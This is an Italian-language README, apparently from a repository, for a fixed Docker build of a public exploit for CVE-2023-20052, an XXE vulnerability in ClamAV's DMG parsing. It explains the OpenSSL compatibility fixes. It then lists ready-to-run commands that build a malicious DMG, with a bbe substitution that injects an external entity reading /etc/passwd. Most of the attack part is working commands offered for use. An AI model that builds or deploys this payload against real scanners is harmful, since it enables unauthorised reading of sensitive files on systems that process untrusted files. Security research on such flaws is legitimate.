Exploit CVE-2023-20052 - Build Corretta

Build Docker corretta per CVE-2023-20052 (vulnerabilità XXE di ClamAV) che compila davvero.

Cosa era rotto

L'exploit originale non riesce a compilare sui sistemi moderni:

• ❌ Errori di compatibilità con OpenSSL 3.0
• ❌ Errori di tipo incompleto della struct HMAC_CTX
• ❌ Errori di dichiarazione implicita di funzione
• ❌ La build fallisce alla compilazione di dmg/filevault.c

Cosa ho corretto

1. Modificata l'immagine di base: Ubuntu 22.04 → Ubuntu 18.04
2. Corretta la versione di OpenSSL: Usa libssl1.0-dev (OpenSSL 1.0)
3. Aggiunta la modalità non interattiva: Evita i prompt di build
4. Dockerfile funzionante: Compila davvero con successo

Perché funziona

libdmg-hfsplus utilizza funzioni deprecate di OpenSSL 1.0:

• HMAC_CTX_init() / HMAC_CTX_cleanup() (rimosse in OpenSSL 1.1+)
• Uso diretto della struct HMAC_CTX (opaca in OpenSSL 1.1+)

Ubuntu 18.04 è l'ultima LTS con supporto per OpenSSL 1.0.

Build e Utilizzo

# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .

# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash

# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg

Crediti

• Exploit originale: nokn0wthing/CVE-2023-20052
• Corretto da: https://reapsec.com

## Fixed Docker build for CVE-2023-20052 (ClamAV XXE) - Resolves OpenSSL 3.0 compilation errors. Uses Ubuntu 18.04 with OpenSSL 1.0 for compatibility with libdmg-hfsplus